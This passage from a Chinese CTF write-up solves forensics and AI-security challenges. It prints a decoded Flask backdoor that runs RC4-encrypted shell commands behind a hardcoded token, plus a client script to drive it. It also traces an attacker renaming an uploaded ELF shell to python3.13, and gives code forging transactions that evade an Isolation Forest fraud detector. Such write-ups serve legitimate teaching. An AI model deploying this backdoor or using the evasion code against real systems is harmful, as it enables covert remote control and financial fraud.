lvAlnY10vECnFUBA+y1lWsVn8cKxUjTdati4AF3iM/KuEtQ6Zn8bI4LYwMlGnCA1RG88J9l7G4dJzsWr9xOiD8iMI2N1eZd/QUy43YsILWx80yiCxz+G4bXf2qNRFvNOawPSnrpv6Q0oFEZojluPx7cOU27bAbgpwTKo0VUyH6G4+ysviQzU7SRd51LGG3U6cT0YDidQmz2ewtbkkKcGVcSyYOeClV6CRz6bdF/Gm3T2+Q914/lkZbKx19WnX78r+xw6bpjzWLr0E1gjnKCVxW0XSnwe+iG9dkG8nCFfjUlhdTaS1gJ7LFsmUjn8u/vRQbRLw/y66Irr/ynKOCzROcgrnDFxH3z3JTQQpTiDpeyzRsF4SnGBMv5Hbr+cK6YTa4MIbfzj5Ti3FMgJNqgK5Xk9hsilGsU6tUbnp6SKiJhUvJ8bqynUMEzndl+S+OVRCaH2iJl8U3WjyB68Rq4HATk/cK7LkJHHMjC3W7dTmOBpfoWMVELaL+RkqWYv0CpW5qENLlnOPBrGaGNeIZahzbnruEPIIXGkGz1fE5d42MaKZsCUYt1xXiai9+cbKGj/d0lICq7uc7bRhEBx46DyBXTz1gfJnT2ur6x4Avb5wY2pcYrcD2OR6AikMvm2c0bhabJB6o0DhONJ4lCxmKdGBzuwrts1u0D2yuo37yLLfsGDuyepNw8lyTNc2nyhCVBfW23DnBQmWc1QLCoRppVhjKXwOpODKO8R8YHnQM+rLk6EOabCdGK57iRzMcT3wc436kVmHXDcI0ZsYGY5aIC5DbdWjUt2ZuU0LmuLwzCTS99zhOoO8DKNqbK4bINLyAI2X928xib+hmIOqp3oSgC2PdFc8yqthN9S55omtex2xkEe8CY48C6z4JtqVtqhPQWQ8kte6xlepiVYCqIbE2Vg4fN//L/ff/u//9p4Lz7uq46yWenkJ/x90j/5mEIors5McSuFi9dygyyR5wJfuqGhOfsVVwJe’))
发现是一串反转Base64,使用https://cyberchef.org/#recipe=Reverse(‘Character’)From_Base64(‘A-Za-z0-9%2B/%3D’,true,false)Zlib_Inflate(0,0,’Adaptive’,false,false)套娃解密,最终得到
global excclass global code import os,binascii excclass, code = app.getexcclassandcode(404) RC4SECRET = b’v1p3r5tr1k3k3y’ def rc4crypt(data: bytes, key: bytes) -> bytes: S = list(range(256)) j = 0 for i in range(256): j = (j + S[i] + key[i % len(key)]) % 256 S[i], S[j] = S[j], S[i] i = j = 0 res = bytearray() for char in data: i = (i + 1) % 256 j = (j + S[i]) % 256 S[i], S[j] = S[j], S[i] res.append(char ^ S[(S[i] + S[j]) % 256]) return bytes(res) def backdoorhandler(): if request.headers.get(‘X-Token-Auth’) != ‘3011aa21232beb7504432bfa90d32779’: return “Error” enchexcmd = request.form.get(‘data’) if not enchexcmd: return “” try: enccmd = binascii.unhexlify(enchexcmd) cmd = rc4crypt(enccmd, RC4SECRET).decode(‘utf-8′, errors=’ignore’) outputbytes = getattr(os, ‘popen’)(cmd).read().encode(‘utf-8′, errors=’ignore’) encoutput = rc4crypt(outputbytes, RC4SECRET) return binascii.hexlify(encoutput).decode() except: return “Error” app.errorhandlerspec[None][code][excclass]=lambda error: backdoorhandler()
里面的RC4_SECRET就是flag。
FLAG:flag{v1p3r_5tr1k3_k3y}
SnakeBackdoor-4
利用上一问得到的加密脚本,写出解密脚本:
import binascii
RC4SECRET = b’v1p3r5tr1k3_k3y’
def rc4_crypt(data: bytes, key: bytes) -> bytes: S = list(range(256)) j = 0 for i in range(256): j = (j + S[i] + key[i % len(key)]) % 256 S[i], S[j] = S[j], S[i] i = j = 0 res = bytearray() for char in data: i = (i + 1) % 256 j = (j + S[i]) % 256 S[i], S[j] = S[j], S[i] res.append(char ^ S[(S[i] + S[j]) % 256]) return bytes(res)
def decryptresponse(enchexresponse: str) -> str: encresponse = binascii.unhexlify(enchexresponse) decrypted = rc4crypt(encresponse, RC4_SECRET) return decrypted.decode(‘utf-8′, errors=’ignore’)
def encryptcommand(command: str) -> str: cmdbytes = command.encode(‘utf-8’) enccmd = rc4crypt(cmdbytes, RC4SECRET) return binascii.hexlify(enc_cmd).decode()
if name == ‘main‘: import sys
if len(sys.argv) < 2:
print("Usage:")
print(" 解密响应: python rc4decrypt.py -d
mode = sys.argv[1]
if mode == ‘-d’ and len(sys.argv) >= 3: enchex = sys.argv[2] try: decrypted = decryptresponse(enc_hex) print(f”[+] 解密结果: {decrypted}”) except Exception as e: print(f”[!] 解密失败: {e}”)
elif mode == ‘-e’ and len(sys.argv) >= 3: command = sys.argv[2] try: enchex = encryptcommand(command) print(f”[+] 加密结果: {enchex}”) print(f”[+] 完整请求:”) print(f” X-Token-Auth: 3011aa21232beb7504432bfa90d32779″) print(f” data={enchex}”) except Exception as e: print(f”[!] 加密失败: {e}”)
else:
print(“[!] 错误的参数”)
print(“Usage:”)
print(” 解密响应: python rc4decrypt.py -d
在tcp流1807发现攻击者上传了文件shell.zip, 下载下来解压发现shell ELF文件,尝试直接提交发现失败,继续看看;
流1813POST的data参数解密后是:unzip -P nf2jd092jd01 -d /tmp /tmp/123.zip得到文件密码,同时发现文件被移动到/tmp,继续看;
流1817解密得到结果:mv /tmp/shell /tmp/python3.13,shell文件被重命名为python3.13,流1825直接chmod +x /tmp/python3.13;流1826/tmp/python3.13可以确定shell木马文件被重命名为python3.13。
AI安全
The Silent Heist
目标
- 利用已有 1000 条正常交易数据(public_ledger.csv)训练一个模型或统计分布;
- 生成一批新的交易记录(伪造数据);
- 保证这些伪造数据: 总金额 > $2,000,000; 被 Isolation Forest 判定为“正常”; 不重复原始数据; 不能是直接复制粘贴原始数据。
加载数据
import pandas as pd import numpy as np from sklearn.ensemble import IsolationForest from sklearn.preprocessing import StandardScaler from sklearn.decomposition import PCA import warnings warnings.filterwarnings(“ignore”)
假设你已经将 public_ledger.csv 加载到 df 中
df = pd.readcsv(“publicledger.csv”)
构造 Isolation Forest 模型
使用所有特征进行建模
features = [col for col in df.columns if col.startswith(‘f’)] X = df[features]
标准化(Isolation Forest 对尺度敏感)
scaler = StandardScaler() Xscaled = scaler.fittransform(X)
构建 Isolation Forest 模型
isoforest = IsolationForest(contamination=0.1, randomstate=42) isoforest.fit(Xscaled)
获取原始数据的异常分数(验证模型)
scores = isoforest.decisionfunction(Xscaled) df[‘anomalyscore’] = scores
查看前几条是否为正常
print(df.head())
使用Gaussian Mixture Model (GMM)来建模分布伪造数据生成策略
from sklearn.mixture import GaussianMixture
训练 GMM 模型
gmm = GaussianMixture(ncomponents=5, randomstate=42) gmm.fit(X_scaled)
生成新样本
newsamplesscaled = gmm.sample(n_samples=1000)[0]
反标准化回原始空间
newsamples = scaler.inversetransform(newsamplesscaled)
生成伪造数据
假设你已生成 new_samples(形状为 (1000, 20))
newdf = pd.DataFrame(newsamples, columns=features)
设置 feat_0(交易金额)为一个合理的分布(比如正态分布)
meanamount = df[‘f0’].mean() stdamount = df[‘f0’].std()
newdf[‘f0’] = np.random.normal(meanamount, stdamount, 1000) newdf[‘f0’] = np.abs(new_df[‘f0’]) # 保证非负
保证总金额 > 2,000,000
totalamount = newdf[‘f0’].sum() if totalamount < 2000000: # 调整 feat0 的值 scalefactor = 2000000 / totalamount newdf[‘f0’] *= scalefactor
检查是否通过模型判断为“正常”
重新标准化
newsamplesscaled = scaler.transform(new_df[features])
判断是否为正常
scores = isoforest.decisionfunction(newsamplesscaled) normalcount = (scores > 0).sum() print(f”伪造数据中被判定为正常的数量:{normalcount} / 1000″)
输出 CSV 格式
转换为 CSV 字符串
csvoutput = newdf.to_csv(index=False)
附加 EOF
finaloutput = csvoutput + “\nEOF”
输出
print(final_output)
FLAG:flag{0e5f4496-ac33-4793-8d53-0f0c45f1283a}
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:赛查查 《第十九届全国大学生信息安全竞赛(创新实践能力赛)暨第三届“长城杯”网数智安全大赛(防护赛)初赛 Write Up》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论